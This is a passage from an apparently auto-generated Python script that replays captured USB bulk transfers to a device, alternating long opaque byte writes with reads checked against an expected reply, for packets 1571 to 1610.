b\"\\x27\\xAC\\x98\\xDD\\x4E\\x62\\xBA\\x3D\\x49\\x9C\\x44\\x96\\x3C\\x81\\xAC\\xF2\"\n b\"\\x57\\x5A\\x72\\xED\\x10\\x7D\\xBE\\x63\\x02\\x5B\\xA8\\x30\\x99\\x16\\x32\\x1D\"\n b\"\\x84\\xA3\\x07\\x63\\x67\\x0C\\x30\\xD6\\xC9\\x92\\x94\\xBD\\xA1\\xEE\\x28\\x93\"\n b\"\\x25\\xCB\\x8B\\xC3\\x73\\xF8\\x09\\x30\\xE0\\xE0\\xA2\\x4D\\xC0\\xAA\\x04\\xD0\"\n b\"\\xC6\\x4D\\xEA\\x2A\\x04\\x13\\x13\\x67\\xF2\\x11\\x5D\\x07\\x90\\xFB\\x90\\x15\"\n b\"\\x0B\\x1E\\x0D\\x2D\\x81\\x21\\x03\\x73\\x3D\\xB9\\x36\\xCB\\xE5\\xFC\\x72\\x50\"\n b\"\\x52\\x46\\x35\\xFB\\xCB\\xDE\\x41\\xD8\\xD2\\x73\\xF8\\xA8\\xDC\\xB9\\x4C\\x1E\"\n b\"\\x3E\\x0E\\x89\\x94\\x06\\x2B\\xF8\\x68\\xB1\\x7E\\x75\\x23\\x77\\xED\\x56\\x2D\"\n b\"\\x58\\xB5\\xC0\\x57\\x35\\x5A\\xD6\\xC9\\x67\\x4E\\x30\\x84\\x5D\\xB0\\xFA\\xDE\"\n b\"\\x86\\x20\\xA5\\x80\\xEE\\x89\\x73\\xB7\\xC5\\x28\\x16\\xE7\\x5F\\x52\\xAE\\xC3\"\n b\"\\x86\\x58\\x79\\x8C\\x3F\\x14\\x3D\\x83\\x74\\x09\\x39\\xE9\")\n # Generated from packet 1571/1572\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1571/1572\")\n # Generated from packet 1573/1574\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x9D\\x66\\x7C\\x93\\x47\\x67\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x9F\\x45\\x56\\x2F\\x8B\\xFF\\x1E\\xE6\"\n b\"\\x25\\x33\\x5D\\x67\\x52\\xB3\\x0D\\x13\\xB4\\x49\\xC6\\x70\\x3D\\xFA\\x61\\xE5\"\n b\"\\x62\\x8B\\x1C\\x5B\\x33\\xA9\\x20\\x2B\\xA6\\x80\\xC2\\x28\\xC8\\x64\\xCF\\xEE\"\n b\"\\x15\\x01\\x13\\x3B\\x0D\\x09\\xDA\\x00\\x2D\\x73\\x63\\xEC\\xDD\\xF9\\x75\\x08\"\n b\"\\xB3\\xF2\\xBF\\x4E\\xAD\\xEA\\x93\\xC6\\x54\\x58\\xC3\\xFA\\x6C\\x65\\x29\\x08\"\n b\"\\x55\\x99\\x99\\xB8\\xCF\\xC2\\xCC\\x24\\xFD\\x1A\\x99\\xCA\\x18\\x01\\xEF\\x02\"\n b\"\\xBA\\xA1\\x4E\\x71\\x04\\xE9\\x89\\x43\\x78\\xB4\\xAE\\xCB\\x3F\\x0E\\xE6\\x38\"\n b\"\\x94\\x81\\x85\\x0D\\x51\\xD8\\x64\\x55\\xDD\\x17\\xE7\\x02\\x69\\x1E\\x0F\\x88\"\n b\"\\xB4\\x71\\x43\\x46\\x35\\x21\\xE7\\x2C\\x56\\x57\\x82\\x4E\\x4C\\x13\\xC3\\x41\"\n b\"\\xE6\\xE0\\x82\\x27\\x92\\x27\\xDB\\xC3\\xD1\\x20\\x8D\\xC7\\x6F\\x4F\\x1B\\x54\"\n b\"\\x55\\x6C\\xD5\\xE2\\xB2\\xAA\\x78\\xC2\\xB1\\xAE\\x82\\xB2\\x73\\x4C\\x00\\x28\"\n b\"\\x38\\x8A\\x35\\x2A\\x81\\xC2\\x11\\x3F\\xF6\\xBB\\xE1\\x30\\xAF\\xBB\\x17\\x76\"\n b\"\\x1D\\x34\\xC6\\x1B\\xAD\\x33\\xEC\\x1A\\xF7\\x11\\x71\\xD6\\xEB\\x61\\x9D\\x03\"\n b\"\\xEB\\xC4\\x0A\\x3B\\x05\\xC9\\x5D\\x80\\x8C\\x84\\xB9\\x55\\x98\\xE8\\x30\\x8F\"\n b\"\\x0D\\xCC\\x7D\\x83\\x35\\xC7\\x8C\\x76\\x26\\xD7\\x33\\x23\\xC6\\x7B\\x0F\\x54\"\n b\"\\x02\\x99\\xF6\\x3F\\x07\\x7B\\xED\\x86\\x89\\x69\\x95\\x32\\x18\\x98\\xC8\\x0E\"\n b\"\\x6F\\x94\\x5E\\xA0\\xA2\\xF8\\x79\\x14\\x15\\x65\\x33\\xED\")\n # Generated from packet 1575/1576\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1575/1576\")\n # Generated from packet 1577/1578\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x12\\x85\\x3B\\x35\\x65\\x43\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x5B\\x0E\\xE6\\x54\\x4F\\xBA\\xC7\\xDE\"\n b\"\\xBE\\xD2\\x30\\xB7\\x0B\\x20\\x64\\x6A\\xD1\\x87\\xC7\\x7F\\x81\\x8F\\x45\\xF0\"\n b\"\\x2C\\x0C\\xB1\\x97\\xB6\\x42\\xD3\\x05\\x70\\x07\\xD2\\x45\\x08\\x96\\x4C\\x6C\"\n b\"\\xD8\\xE8\\x6D\\xC3\\xEE\\x6C\\x19\\x1C\\x88\\x1F\\xC2\\xD7\\xD6\\xC4\\xF8\\x52\"\n b\"\\x5A\\x0E\\x5C\\xA4\\x6E\\xEC\\x20\\x06\\xD0\\x9B\\x0E\\xFF\\xD9\\x6B\\xC1\\xA2\"\n b\"\\x92\\x4D\\x8A\\xAB\\x6F\\xE2\\xA6\\xE9\\xEA\\x41\\x35\\x2A\\x60\\x4C\\x3F\\x54\"\n b\"\\x35\\xA4\\xF8\\xC1\\x81\\x02\\x69\\x45\\x7D\\xA7\\x97\\x74\\xBA\\x89\\xDD\\xB7\"\n b\"\\xDE\\x7F\\x3A\\x9C\\x4A\\x50\\xFC\\x44\\x29\\x69\\x83\\xD7\\xC9\\x5D\\xF0\\x47\"\n b\"\\xFC\\xBA\\x21\\x52\\xA3\\xE6\\x44\\xB1\\x30\\xF8\\x0C\\x9B\\x4D\\xC4\\xAA\\xA3\"\n b\"\\x68\\xAB\\x79\\xE3\\x47\\xAD\\x3A\\x68\\x6B\\x59\\x7C\\x4B\\xE3\\xAA\\x7B\\xC4\"\n b\"\\xFD\\xAB\\xAB\\x81\\x3E\\xEE\\xC8\\x40\\x59\\xA2\\x38\\xE4\\xB6\\xEB\\x50\\x72\"\n b\"\\x3E\\xD6\\xA1\\x62\\x27\\xAA\\x02\\x6E\\x59\\x9E\\xF6\\x9A\\x45\\x55\\xC3\\xED\"\n b\"\\x65\\x56\\xA2\\x2E\\x5D\\xBA\\x37\\xD0\\xC2\\x4B\\x55\\xD9\\x4C\\xB9\\x9B\\x17\"\n b\"\\x19\\xE6\\x61\\x29\\xF5\\xEA\\x9E\\xAE\\x93\\x92\\x0C\\xB4\\xCA\\x51\\xAD\\xF0\"\n b\"\\xB7\\x44\\xBA\\x84\\xDE\\xDE\\xDA\\x6D\\x74\\x27\\x49\\xBE\\x20\\x18\\x03\\x19\"\n b\"\\x73\\x00\\x55\\xA5\\x30\\x8D\\x80\\x35\\x72\\x7F\\xA7\\xB6\\x75\\x67\\x04\\xDC\"\n b\"\\x64\\x64\\x71\\xFD\\xA4\\x9F\\xB1\\x67\\x7D\\x7C\\xC2\\xB1\")\n # Generated from packet 1579/1580\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1579/1580\")\n # Generated from packet 1581/1582\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x6F\\xAE\\x9E\\x3E\\x38\\x4E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xF1\\x57\\x7E\\x3A\\x83\\x00\\xD6\\xC9\"\n b\"\\xC7\\x78\\x53\\x8C\\x56\\x7B\\xEB\\x94\\xA0\\x09\\x16\\xFE\\x8A\\x07\\x29\\x86\"\n b\"\\xCD\\x92\\xDF\\x4B\\xB6\\x86\\x4C\\xD3\\xF2\\xA3\\xD6\\xC1\\x3C\\x8E\\x0B\\x9C\"\n b\"\\x58\\x3F\\xC6\\x82\\xCB\\x09\\x7B\\x46\\x61\\x0C\\xD8\\xD6\\x3D\\x7E\\x69\\xAF\"\n b\"\\x11\\xEE\\x11\\x94\\x2F\\xC9\\xEC\\x64\\xC4\\xF2\\xCD\\xE1\\x7E\\xF4\\x73\\xDB\"\n b\"\\xB6\\xB3\\xD7\\x88\\x63\\x8B\\x23\\x4E\\xDA\\x84\\x8C\\x8F\\xB3\\x8E\\x87\\xBA\"\n b\"\\xEE\\x5B\\x12\\x37\\x60\\xD4\\x88\\x18\\xF7\\x87\\x8E\\xD2\\xDD\\x6D\\xD2\\x6B\"\n b\"\\x67\\xA1\\x6C\\x4D\\xE1\\xE2\\x5F\\xE9\\xC7\\xB2\\x9B\\x33\\x5B\\x93\\x0F\\x4C\"\n b\"\\x8A\\x39\\x06\\x7E\\xAE\\xDA\\x70\\xB0\\x9E\\xFC\\x91\\xA7\\x21\\x19\\x89\\x53\"\n b\"\\x83\\xCC\\xAE\\xCD\\xC0\\x45\\x26\\x50\\xCB\\x29\\x1A\\xB3\\xC5\\xAC\\x39\\xEF\"\n b\"\\x1E\\xBE\\x11\\xBA\\xD4\\x33\\xB3\\x8C\\xE8\\x42\\x3E\\x50\\xC4\\xE8\\x56\\x74\"\n b\"\\x8E\\xBA\\x16\\x4A\\x3C\\x82\\x96\\xCF\\x09\\xC9\\xB8\\xA1\\x38\\x8E\\x2D\\x63\"\n b\"\\x9E\\xB5\\x8D\\xC1\\x98\\xC2\\x6D\\x70\\x8E\\xE1\\xA6\\x7A\\xC2\\x3D\\xA1\\xBB\"\n b\"\\x42\\x03\\x0D\\x0C\\xF7\\x89\\xD5\\x18\\xBE\\xBF\\x87\\x12\\x93\\xF2\\xAC\\xF8\"\n b\"\\xA7\\xF4\\x24\\xC8\\xE5\\x3B\\xDF\\x7D\\x20\\x59\\xEE\\xBB\\xCB\\x96\\xA3\\x2B\"\n b\"\\x0C\\xFE\\xE3\\x76\\x9A\\x43\\xEC\\x76\\x16\\x85\\x1A\\x83\\x4A\\x61\\x8A\\x9A\"\n b\"\\x9E\\x95\\x0B\\x7C\\xDD\\xD5\\xEB\\x31\\x2A\\xA9\\x0D\\x7F\")\n # Generated from packet 1583/1584\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1583/1584\")\n # Generated from packet 1585/1586\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xE6\\x58\\x18\\x5E\\x2A\\x66\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xC7\\xCE\\x56\\x7B\\xF4\\x0C\\xCB\\x39\"\n b\"\\xD1\\x11\\x7D\\x6C\\x11\\x1A\\x0A\\x8A\\xC0\\x51\\xD3\\xE8\\x28\\xBB\\xAE\\xCA\"\n b\"\\x4F\\x0F\\x07\\xCD\\xC9\\x61\\x3B\\xB6\\x57\\x77\\x3A\\x63\\x57\\xB3\\xC1\\x5F\"\n b\"\\x0A\\x0A\\xD6\\x36\\x4A\\x86\\xD4\\xAB\\x25\\x58\\x33\\x37\\x40\\xB9\\x98\\x53\"\n b\"\\xB9\\x89\\x79\\x3D\\x36\\x17\\xB1\\x7A\\x86\\xAB\\xE4\\xC7\\xB4\\xEA\\xAF\\xE5\"\n b\"\\xEA\\xF3\\x56\\xF7\\x1E\\x74\\xC5\\x99\\x32\\xC5\\x34\\x75\\x7D\\x7C\\xF0\\x4E\"\n b\"\\x6A\\x1E\\xDA\\xA4\\x8F\\x89\\xE0\\x68\\x6A\\x8D\\x84\\x89\\x59\\x95\\xA6\\xE9\"\n b\"\\x03\\xE5\\x78\\x90\\x26\\xFE\\x9D\\x94\\x19\\xBA\\x4B\\xBB\\x48\\x76\\xA5\\xFF\"\n b\"\\x23\\x35\\xB5\\xB4\\x9C\\x93\\x66\\xAD\\x37\\x03\\xF3\\x26\\x1C\\x22\\x5F\\x84\"\n b\"\\x09\\x73\\x20\\xCD\\xA0\\x21\\x35\\xFD\\xB2\\xC8\\x02\\x92\\xC5\\xF0\\x8D\\x23\"\n b\"\\x99\\x34\\xBE\\x2B\\x3B\\xD2\\xE3\\xED\\x43\\xE2\\xE9\\x47\\x31\\xBB\\x73\\x1A\"\n b\"\\xDD\\x27\\xDF\\xDD\\xAE\\xC7\\x28\\xC8\\x57\\xBF\\xD6\\x9B\\xE7\\x02\\x32\\x9E\"\n b\"\\xE7\\x6E\\x4A\\x46\\x3D\\xED\\x13\\xC2\\xAA\\x70\\x8D\\x4A\\xB0\\x33\\xD5\\x06\"\n b\"\\x82\\x92\\xF6\\x9A\\x0D\\xE9\\xC3\\xED\\x9C\\x1D\\xA0\\x2E\\x76\\x12\\x14\\x60\"\n b\"\\xC9\\x57\\x28\\xD3\\x85\\xF6\\xF6\\x0A\\x64\\x26\\x71\\x29\\xDD\\x46\\x01\\x1C\"\n b\"\\x3F\\xC7\\xD4\\x6E\\x9C\\xE0\\x8A\\x78\\x08\\xEC\\x58\\x3C\\x4A\\x70\\xEE\\xA6\"\n b\"\\xED\\xDE\\x9C\\xD6\\x79\\x12\\x03\\x19\\x9A\\xB4\\x55\\xA5\")\n # Generated from packet 1587/1588\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1587/1588\")\n # Generated from packet 1589/1590\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xE2\\x8E\\xD7\\x94\\x46\\x73\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x27\\xE4\\x5F\\x5C\\x16\\x6F\\xAF\\xF8\"\n b\"\\x7E\\x17\\x70\\x85\\x35\\x9C\\x0E\\xEE\\x40\\x00\\x35\\x9A\\x32\\x8E\\x0A\\xA6\"\n b\"\\x38\\x32\\x77\\x43\\xEB\\xE6\\x6C\\x26\\x95\\xFA\\x57\\x78\\x02\\xF6\\x0B\\xBA\"\n b\"\\xCA\\x69\\x6C\\xBD\\xF4\\x34\\x9C\\xAE\\x0A\\x4D\\xD4\\xA7\\x7A\\x3F\\x5D\\x0C\"\n b\"\\xF4\\xDD\\x89\\xF5\\xF3\\x8E\\x6B\\x64\\x8B\\x4B\\xA3\\xBE\\xB1\\xC3\\x89\\x51\"\n b\"\\x37\\x8F\\x69\\x2D\\x6A\\x37\\x8F\\x13\\x86\\x69\\x81\\xF9\\xE2\\x7F\\xAC\\x9B\"\n b\"\\x2F\\xC8\\x56\\x24\\xD0\\x1A\\xB1\\x6A\\x1A\\x39\\x4F\\x0C\\x01\\x0E\\x8D\\x92\"\n b\"\\x3A\\xC7\\xA7\\xE0\\x9D\\x17\\x89\\x76\\xA1\\xF8\\x51\\x23\\x44\\x4C\\x46\\x30\"\n b\"\\xFF\\xE3\\xC8\\xDE\\xAF\\x35\\x70\\xC5\\xB1\\x68\\x16\\x5D\\xD2\\xC3\\xC7\\xB8\"\n b\"\\x69\\x98\\x93\\x57\\x76\\x25\\x08\\x97\\x5F\\x44\\x3B\\xEC\\x99\\xBF\\x62\\x6B\"\n b\"\\x06\\xBE\\xD8\\x38\\x3F\\x0C\\x0B\\x21\\x48\\x5A\\x3A\\x88\\x87\\xF0\\x7F\\x04\"\n b\"\\x11\\xFA\\x37\\x95\\x82\\x97\\x12\\x4E\\x73\\xCE\\x36\\x2F\\x21\\xA5\\x29\\x67\"\n b\"\\xEA\\x7D\\xED\\x0C\\xCC\\xCF\\xCE\\x1A\\xCB\\x45\\x18\\x00\\xCF\\xC0\\xC2\\x99\"\n b\"\\x44\\x5C\\xF8\\x1B\\xF2\\x7E\\xC6\\x9D\\x4F\\x54\\x7A\\xD8\\x24\\x0C\\xCB\\xBF\"\n b\"\\xAC\\xCC\\xD3\\x85\\x0A\\xCB\\x8F\\x4C\\x7F\\xC3\\x98\\x0C\\x03\\x1F\\x4C\\x36\"\n b\"\\x70\\x78\\x4C\\x8A\\x84\\x8D\\xAF\\xA7\\xBC\\x35\\xE5\\x91\\xEC\\x5B\\x17\\x4B\"\n b\"\\x12\\x7E\\xEB\\xD4\\x02\\x4D\\x9E\\xEB\\xEB\\x5D\\x15\\x16\")\n # Generated from packet 1591/1592\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1591/1592\")\n # Generated from packet 1593/1594\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x59\\xC9\\x4D\\x67\\x89\\x12\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xE7\\xAE\\xB4\\x1E\\x51\\xF0\\x6D\\xC3\"\n b\"\\xBC\\xA1\\x3D\\x77\\x9F\\xE4\\xE9\\x12\\x10\\x80\\x59\\x77\\xF2\\x2A\\xD5\\xB6\"\n b\"\\xF1\\xB0\\x34\\xBA\\x66\\x59\\x12\\x80\\x95\\x08\\x33\\xFC\\xD4\\xF2\\x04\\xD7\"\n b\"\\x53\\x83\\xED\\xC9\\xE3\\x9F\\x21\\x27\\x32\\x11\\xBB\\xE6\\xD9\\x86\\x10\\xE0\"\n b\"\\x2B\\x92\\x13\\xC3\\x70\\x0D\\x5F\\x9E\\xE2\\xFA\\xC8\\x9C\\x22\\x71\\x02\\x0B\"\n b\"\\x80\\x4B\\x6C\\x38\\x43\\xEE\\xA2\\x83\\x0F\\xC4\\x6E\\x5F\\x85\\x3D\\xCD\\x4E\"\n b\"\\xE5\\x6D\\x86\\xBC\\x7A\\x8C\\xDC\\x97\\x78\\xB4\\x24\\x17\\x90\\x34\\x15\\x91\"\n b\"\\x8A\\x67\\x5F\\x4A\\x0B\\x29\\x0F\\xB3\\xC5\\xAA\\x0E\\x18\\x2C\\x5C\\x22\\x12\"\n b\"\\x1F\\x84\\x65\\x60\\x63\\xBF\\x73\\xE6\\xC4\\x64\\x00\\xD4\\xD6\\xDA\\x12\\x05\"\n b\"\\xEB\\xB3\\x61\\x91\\x06\\x37\\x78\\xF6\\x30\\x69\\xEA\\x88\\xAA\\x68\\x1B\\x47\"\n b\"\\xC4\\xFC\\x93\\x7B\\x75\\x2F\\xAB\\x86\\x9A\\x24\\xE3\\xD1\\xE5\\x9A\\x35\\xF4\"\n b\"\\x82\\x15\\xF4\\xCB\\x54\\xDB\\x78\\xB0\\xA5\\xC8\\xA7\\x71\\x07\\xDF\\xDC\\xDA\"\n b\"\\x5C\\x8B\\x1B\\x18\\x4F\\x37\\x0F\\x8A\\x17\\x0A\\x9E\\xC8\\xE6\\x7C\\xE4\\x5E\"\n b\"\\x2A\\x11\\xBD\\x2F\\xBC\\xB0\\x33\\xAD\\xDA\\xD7\\xD5\\x2D\\x29\\xDD\\xDF\\x1F\"\n b\"\\xA4\\x7F\\xCC\\x6B\\x2D\\x10\\x2B\\x09\\xA0\\x44\\x52\\x5A\\xA1\\x19\\x4C\\xE3\"\n b\"\\x68\\x15\\x59\\x01\\x4E\\xE4\\xD1\\x93\\x71\\xC6\\xB7\\xD1\\x28\\x31\\x8D\\xB6\"\n b\"\\x79\\x8C\\x74\\x84\\x6C\\x46\\x77\\x7F\\xCB\\x61\\x6B\\x7D\")\n # Generated from packet 1595/1596\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1595/1596\")\n # Generated from packet 1597/1598\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x62\\x78\\x0C\\x26\\xA9\\x50\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x14\\xD7\\xA2\\xAF\\xF8\\xAD\\xA1\\x76\"\n b\"\\x2C\\x54\\x3B\\x25\\x6A\\x40\\x22\\x45\\xFA\\xB5\\x81\\xF9\\x01\\x99\\x7D\\xAB\"\n b\"\\xC2\\xF0\\x07\\xFD\\x1D\\xDA\\xAA\\xDA\\x06\\x40\\x4D\\x0C\\xBA\\x72\\x4F\\x22\"\n b\"\\x25\\x0B\\xFA\\xE2\\x54\\x99\\x39\\x39\\x4D\\x9C\\x91\\x0F\\xC4\\x32\\x74\\xD6\"\n b\"\\xB1\\xF3\\x61\\xBC\\x90\\x59\\x06\\x24\\x31\\x1A\\x00\\x10\\x47\\x9F\\x06\\xC0\"\n b\"\\x72\\x09\\xE1\\xFF\\xE3\\x41\\x75\\x99\\xB0\\x0D\\x84\\xD8\\x9C\\xD1\\x10\\xCF\"\n b\"\\x99\\x7B\\xA5\\x36\\xC8\\x65\\xAC\\x55\\x4D\\x34\\x48\\x68\\x0C\\x75\\x02\\x02\"\n b\"\\xEE\\x72\\x84\\xF1\\xDF\\x0A\\x02\\x4E\\x04\\x02\\x36\\x23\\xFA\\xCB\\xE7\\x2F\"\n b\"\\x75\\xA9\\x03\\x73\\x52\\x77\\x4F\\x24\\x54\\x83\\x7C\\x37\\x51\\xA7\\x84\\x1A\"\n b\"\\x19\\x98\\x61\\x9D\\x52\\x4D\\xD6\\xFD\\xA8\\x9A\\x6C\\x0C\\x59\\x8A\\x16\\xDD\"\n b\"\\x1D\\x22\\x9F\\x41\\x4A\\x35\\xDD\\x04\\x7F\\xBF\\x6D\\x8D\\xB5\\x87\\x31\\x35\"\n b\"\\x13\\x68\\x99\\xBA\\x58\\x2A\\xEA\\x92\\x21\\x21\\x5C\\x1B\\x1A\\x71\\x32\\x71\"\n b\"\\xAE\\xAA\\x47\\x15\\xC9\\xD9\\x2E\\x63\\xB0\\x90\\xA5\\xBE\\x0D\\xE2\\x72\\x0C\"\n b\"\\x64\\x13\\xA4\\x83\\x06\\x80\\x01\\xFA\\x1A\\x47\\xCA\\x7D\\x22\\x15\\xA1\\x4E\"\n b\"\\xF3\\x31\\x6E\\xF4\\x95\\xA4\\x26\\xB6\\x7F\\xF0\\x2D\\xE6\\x0B\\xA4\\xA3\\xFB\"\n b\"\\x0C\\x93\\x33\\xEB\\xBF\\x4C\\xAA\\xEA\\xFC\\x9F\\x9C\\x05\\xB3\\x13\\x6C\\x5A\"\n b\"\\xE8\\x3A\\x6F\\xC2\\x34\\x04\\x42\\x65\\x35\\x89\\x46\\xB6\")\n # Generated from packet 1599/1600\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1599/1600\")\n # Generated from packet 1601/1602\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x92\\xC9\\x41\\x5F\\x82\\x33\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x06\\x85\\xF7\\x18\\xD3\\xB6\\x81\\xDC\"\n b\"\\xF3\\xBA\\x7A\\x22\\x0B\\xE6\\x32\\x8D\\xD0\\x9E\\x34\\x08\\xBD\\xD5\\x60\\x40\"\n b\"\\x44\\x5F\\x48\\xAE\\xDD\\x30\\x55\\x42\\x1C\\x37\\x37\\x4E\\x6B\\x13\\x35\\xDA\"\n b\"\\x72\\xF4\\x76\\xAC\\x58\\x0E\\x1C\\x24\\x3E\\x54\\xE4\\xAE\\xF0\\xE1\\x02\\x52\"\n b\"\\x3E\\x39\\x5B\\x43\\xCF\\x20\\x29\\x1C\\x7B\\x86\\xE1\\xCC\\x8C\\xFD\\x61\\xF3\"\n b\"\\x74\\x71\\xA1\\x76\\x4D\\x9D\\x3B\\x25\\x0F\\x2C\\x32\\x4B\\x1F\\xD9\\x81\\xF9\"\n b\"\\x64\\xB6\\x27\\xFB\\x72\\x68\\x18\\xE5\\x35\\x08\\x87\\xAD\\x27\\x14\\xF9\\xC4\"\n b\"\\x0D\\x06\\x12\\x20\\xFD\\x53\\x70\\x5A\\x31\\xEB\\x0F\\xFF\\xA8\\xF0\\xCE\\x91\"\n b\"\\x8F\\xF4\\x9B\\x8A\\x4B\\x2D\\x30\\x62\\xAD\\x3D\\xEF\\x65\\x89\\x49\\x16\\x5D\"\n b\"\\x4C\\x0A\\x10\\x40\\x17\\x30\\x33\\xF7\\x71\\x9F\\x5B\\xD3\\x10\\xF6\\x1B\\x78\"\n b\"\\x4B\\xF7\\x42\\xC7\\x01\\x04\\x87\\x3A\\x38\\xB6\\xCE\\x14\\x5F\\xEC\\xD9\\x94\"\n b\"\\x57\\xF0\\x02\\x1C\\x44\\x20\\x46\\xE9\\xD3\\x21\\xA7\\x1F\\x35\\xC6\\x87\\xB5\"\n b\"\\x49\\xB1\\xAB\\x97\\xEC\\x65\\xC1\\xF0\\x90\\x8D\\xEA\\xD3\\xF3\\x63\\x2C\\x04\"\n b\"\\x2F\\x4B\\xB0\\x7D\\xBE\\xDC\\x1C\\x8D\\x94\\xD1\\x24\\x7E\\x2A\\x41\\x12\\x04\"\n b\"\\x52\\xAD\\x25\\x5D\\x39\\xC4\\x4A\\x4D\\x12\\xED\\xDD\\x04\\x1A\\xD3\\x69\\x6C\"\n b\"\\x5F\\xEB\\x31\\x27\\x99\\x15\\x44\\x00\\x17\\x63\\x68\\x90\\xC4\\x4D\\x5C\\x1B\"\n b\"\\x77\\x98\\x7E\\x53\\x48\\xAB\\xE5\\xBE\\xDA\\xB5\\x0E\\x5B\")\n # Generated from packet 1603/1604\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1603/1604\")\n # Generated from packet 1605/1606\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x12\\xBA\\x57\\xCF\\x79\\x20\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x71\\x91\\xF6\\xD5\\x9A\\x0B\\x22\\xB0\"\n b\"\\xCE\\x67\\xCE\\x1D\\x11\\x8D\\xD8\\x34\\xD4\\x6A\\xA8\\xD2\\xAA\\x73\\xC3\\x64\"\n b\"\\xDE\\xFE\\x04\\x6A\\xED\\x9F\\x77\\xB1\\x3D\\x84\\xA0\\x0A\\x06\\xD8\\x7A\\x2E\"\n b\"\\xB1\\x1E\\xEF\\x37\\x85\\xDA\\x53\\x34\\x16\\x2F\\x09\\x52\\x96\\xF8\\x49\\x16\"\n b\"\\x3D\\xE0\\xAB\\x41\\x3C\\xC7\\x57\\x8D\\x70\\x9A\\xCB\\x78\\x8E\\x36\\x76\\xAE\"\n b\"\\xDE\\x9A\\x1D\\x20\\xCE\\x84\\x21\\x7C\\x4D\\x8B\\x4B\\x15\\x73\\x97\\xC0\\xBA\"\n b\"\\x4A\\xE1\\xD4\\x21\\x66\\xC3\\x58\\x91\\x2E\\xA3\\x4B\\x76\\xFE\\x8A\\xFC\\xCC\"\n b\"\\x31\\xF4\\x52\\x94\\xC9\\xC5\\x28\\x82\\x84\\x4A\\x81\\xF9\\x13\\x92\\x2D\\xFB\"\n b\"\\x0D\\x18\\xE3\\x96\\x17\\xD0\\xB1\\x6A\\xF3\\xF4\\x1D\\x3C\\xFA\\x38\\xDC\\x4B\"\n b\"\\xED\\x09\\xBC\\x50\\x93\\x81\\x0B\\x76\\x05\\x8A\\x93\\x93\\x41\\x8E\\x1B\\x32\"\n b\"\\x34\\x43\\xF1\\xB4\\xD8\\x5F\\xEF\\x77\\x0D\\x1A\\x49\\xC3\\x8E\\xBD\\xEE\\xDA\"\n b\"\\x8E\\xF2\\x87\\x1E\\x0E\\xF1\\x7B\\xFD\\xE4\\x90\\x94\\xD8\\x06\\xD5\\x00\\xCF\"\n b\"\\x37\\x21\\xA5\\x36\\xD2\\x2E\\xAC\\x55\\x57\\x3A\\x48\\x68\\x02\\x7B\\x02\\x02\"\n b\"\\xF4\\xB8\\xBF\\xF1\\x98\\xE1\\x8D\\xF0\\xFB\\x96\\x6B\\x95\\xFA\\x29\\x12\\x38\"\n b\"\\xA7\\x8F\\xB9\\x51\\x1A\\xE5\\xF4\\x7A\\x04\\x3D\\x5F\\x8D\\x96\\x01\\x4D\\x6B\"\n b\"\\x64\\x8F\\xBD\\x27\\x76\\x09\\xBA\\x33\\x55\\x2D\\xD5\\x3E\\x08\\xF5\\x19\\xF7\"\n b\"\\xB2\\xBE\\x74\\xC0\\x0F\\xA0\\xCE\\x73\\x28\\x0F\\x58\\x19\")\n # Generated from packet 1607/1608\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1607/1608\")\n # Generated from packet 1609/1610\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x69\\xD4\\x91\\xDA\\x7A\\x11\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x26\\xCC\\xF1\\x3C\\xCC\\xA8\\x97\\xD6\"\n 